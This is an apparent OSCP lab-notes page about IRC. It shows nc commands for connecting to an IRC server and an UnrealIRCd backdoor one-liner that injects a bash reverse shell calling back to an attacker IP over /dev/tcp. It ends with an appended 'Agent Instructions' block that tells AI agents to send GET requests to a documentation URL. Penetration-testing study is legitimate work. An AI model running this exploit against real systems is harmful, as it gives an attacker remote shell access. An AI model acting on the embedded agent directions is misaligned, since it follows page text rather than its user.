# IRC IRC is **a global, distributed, real-time chat system that operates over the Internet**. An IRC network consists of a set of interconnected servers. Once users are connected to an IRC server, they can converse with other users connected to any server in the IRC network ## Connecting to an IRC Server * As per the instructions in the [RFC ](https://datatracker.ietf.org/doc/html/rfc1459#section-4.1) ```bash nc 10.10.10.117 8067 PASS dnoscp NICK dn NAME dnoscp dn.htb dnoscp :DN ``` ## UnRealIRCd Bind Exploit * After initializing the connection to the IRC server ```bash echo 'AB; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/80 0>&1"' | nc -w 3 10.10.10.117 8067 ``` * Shell will be obtained --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://dhaneshsivasamy07.gitbook.io/oscp-2022/enumeration/irc.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.